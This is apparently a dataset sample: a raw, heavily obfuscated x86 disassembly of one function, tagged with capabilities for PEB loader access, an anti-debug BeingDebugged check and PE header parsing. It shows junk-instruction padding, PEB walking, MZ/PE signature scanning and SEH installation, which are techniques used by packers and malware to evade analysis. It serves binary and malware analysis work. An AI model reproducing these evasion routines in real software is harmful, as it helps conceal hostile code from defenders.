Function at 0x15480eb
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Parse pe header

Disassembly:
push eax
jmp 0x15487fd
call 0x154802c
jmp 0x15481f5
call fcn.0154803e
mov word [esp], bp
lea esp, [esp + 1]
push edx
lea esp, [esp + 3]
pushfd
push dx
mov byte [esp], al
push dword [esp + 5]
pop word [esp]
mov dword [esp + 4], eax
lea esp, [esp + 2]
lea esp, [esp + 8]
call fcn.0146ee77
push 0xf3e0099
push 0x7e87390c
push 0x25d4
push 0x1140b38
jmp 0x1548039
call 0x15480eb
dec esi
outsd dx, dword [esi]
outsd dx, dword [esi]
bound edi, qword [ecx + 0x50]
jb 0x154814a
je 0x1548142
arpl word [eax + 0x53], si
inc ebp
and byte [ecx], dh
aaa
xor byte cs:[esi], ch
xor byte [eax], al
jmp 0x1548126
lea esp, [esp + 4]
pushal
push word [esp + 0x1c]
pop word [esp + 8]
mov dword [esp + 7], ecx
jmp 0x1548490
out dx, eax
push 0xffffffffffffffa9
sub dword [ecx - 0x791ad428], edi
or ebx, dword [ebx + 0x1be50dfe]
dec ecx
mov al, 0x66
bswap edx
xchg byte [ebx], cl
wait
dec byte [0xb0491be5]
bswap dx
bswap ebx
not ecx
bswap ax
mov dl, 0xf0
xchg bx, cx
mov ax, di
mov ebx, dword [esp]
lea eax, [ecx - 0x1037]
mov ebx, eax
mov bl, 0xee
setle al
mov ecx, dword [esp]
mov cx, sp
mov ax, 0x7cd7
xchg cx, ax
mov cx, 0x3db0
mov edx, 0x67e46060
bswap edx
xchg cl, al
setge ch
bswap cx
not edx
bswap dx
mov edx, esi
xchg dl, bh
mov eax, edi
not bx
bswap dx
xchg bx, ax
mov bx, di
popal
push bp
jmp 0x1548076
pop eax
xor ax, ax
cmp word [eax], 0x5a4d
je 0x154821c
sub eax, 0x10000
jmp 0x15481f9
movzx ebx, word [eax + 0x3c]
jmp 0x1548431
mov dword [esp + 0x1c], eax
push ecx
mov byte [esp + 2], al
push dword [esp + 2]
push word [esp + 7]
mov dword [esp + 4], edx
mov byte [esp + 5], bh
push word [esp + 8]
push word [esp]
lea esp, [esp + 4]
mov word [esp + 3], bp
pop word [esp + 2]
pushal
mov dword [esp + 0x40], ecx
push ax
pushal
push dword [esp + 0x20]
push word [esp + 5]
push dword [esp + 0x10]
push bx
push word [esp + 0x14]
mov dword [esp + 0x6c], edx
push ebx
mov word [esp], bx
push dword [esp]
mov dword [esp + 1], ebx
push word [esp + 4]
pushal
lea esp, [esp + 0x21]
lea esp, [esp + 6]
mov word [esp], cx
mov byte [esp + 1], cl
pushfd
mov dword [esp], edx
mov word [esp + 4], si
push dword [esp + 1]
lea esp, [esp + 3]
mov dword [esp + 0x70], ebx
pushal
pop word [esp + 8]
lea esp, [esp + 9]
lea esp, [esp + 3]
pop dword [esp + 8]
lea esp, [esp]
push dword [esp]
pushal
mov byte [esp + 0x12], al
pop dword [esp + 0x1f]
push esp
lea esp, [esp + 2]
mov dword [esp + 0x9c], esp
push ebp
mov byte [esp + 2], dl
push dword [esp + 3]
lea esp, [esp + 2]
mov dword [esp], ebp
mov word [esp], bp
pushfd
pop word [esp + 3]
mov word [esp + 3], bx
mov word [esp + 1], bx
lea esp, [esp + 6]
lea esp, [esp + 2]
mov dword [esp + 0x98], ebp
push edi
lea esp, [esp + 3]
push edx
mov dword [esp], ebp
lea esp, [esp]
mov word [esp], si
mov dword [esp], ecx
pop word [esp]
mov word [esp], si
push word [esp + 1]
push edx
mov byte [esp + 2], dl
pop word [esp + 1]
lea esp, [esp + 2]
lea esp, [esp + 1]
mov dword [esp + 0x98], esi
pushfd
push ax
mov word [esp], di
mov word [esp + 1], bp
push di
lea esp, [esp + 3]
push dword [esp + 1]
push word [esp]
push dword [esp + 1]
lea esp, [esp + 0xc]
push word [esp + 1]
lea esp, [esp + 1]
mov dword [esp + 0x98], edi
lea esp, [esp + 0x98]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x1548027
add ebx, eax
cmp word [ebx], 0x4550
je 0x1545f76
jmp 0x1548200
mov byte [esp + 0xc], dh
push word [esp + 0xb]
mov dword [esp + 3], ebp
mov byte [esp + 0x12], bl
lea esp, [esp + 2]
jmp 0x154823a
call 0x15484ef
pop eax
sub eax, 0xd9663fa4
add eax, 0xd965f612
xchg dword [esp + 4], eax
popfd
push dword fs:[0]
mov dword fs:[0], esp
pushal
lea eax, [ebx + 0x58b749c0]
pushal
mov ecx, dword [esp + 0x13]
mov dl, 0x75
mov bl, byte [esp + 0xc]
xchg dl, bh
pushfd
xchg word [esp], ax
mov ebx, 0x72f96fe0
mov cl, 0xe4
mov ecx, eax
mov word [esp + 7], sp
lea esp, [esp + 0x24]
popal
pushal
pushal
push word [esp + 0x1b]
mov byte [esp + 0x29], al
lea esp, [esp + 0x39]
push edi
lea esp, [esp]
mov dword [esp + 5], edx
pop dword [esp + 4]
mov byte [esp + 5], dh
lea esp, [esp + 1]
lea esp, [esp + 8]
jmp 0x1548cb6
push eax
push ax
push word [esp + 1]
pop word [esp]
pushfd
pushal
pop word [esp + 0x10]
mov dword [esp + 0x14], edi
push di
mov word [esp + 4], bp
lea esp, [esp + 2]
mov dword [esp + 0x20], eax
mov ax, word [esp]
mov eax, dword [esp]
pushfd
mov word [esp + 1], ax
lea eax, [esp - 0x76]
bswap eax
push word [esp + 2]
mov ah, 0xb2
lea eax, [ecx + 0xf85]
xchg word [esp + 1], ax
lea esp, [esp + 2]
mov dword [esp + 0x20], ecx
xchg al, ch
lea eax, [esi + 0x2fb57da2]
mov eax, dword [esp]
bswap cx
lea ecx, [0x48b9301f]
pushal
mov ch, byte [esp + 0x15]
pop eax
mov dword [esp + 0x38], edx
bswap eax
not eax
mov edx, ebp
mov ecx, edx
mov eax, 0x12d65e78
mov eax, dword [esp]
mov ax, word [esp]
setp al
mov eax, ebx
mov dword [esp + 0x34], ebx
mov edx, 0xeca7cc4
mov cl, 0x89
bswap dx
mov bh, byte [esp]
not dx
xchg al, cl
push bp
mov al, 0x80
lea esp, [esp + 2]
mov dword [esp + 0x30], esp
not al
bswap bx
push eax
pop bx
push edi
bswap cx
lea edx, [eax + 0x18414dca]
mov ax, di
lea esp, [esp + 2]
mov dword [esp + 0x30], ebp
bswap edx
bswap dx
mov bl, 0x47
mov cx, word [esp]
bswap edx
mov bx, 0x76e5
mov edx, 0x4e1a3f74
mov ecx, esi
mov dword [esp + 0x2c], esi
not ch
mov bx, word [esp]
mov cx, bp
lea eax, [0x3365f40]
not cx
lea ebx, [esp + 0x88]
mov bx, sp
lea ecx, [0x59cd2469]
mov bh, dh
mov dword [esp + 0x28], edi
lea esp, [esp + 0x28]
push ecx
mov ebx, edx
push word [esp + 2]
pop eax
mov bx, word [esp]
mov ax, 0x6585
bswap dx
xchg bl, bh
lea esp, [esp + 2]
popal
push si
mov word [esp], ax
lea esp, [esp + 1]
lea esp, [esp]
lea esp, [esp]
lea esp, [esp]
lea esp, [esp]
push bx
mov word [esp], bp
lea esp, [esp + 3]
pushfd
jmp 0x15484ea
int3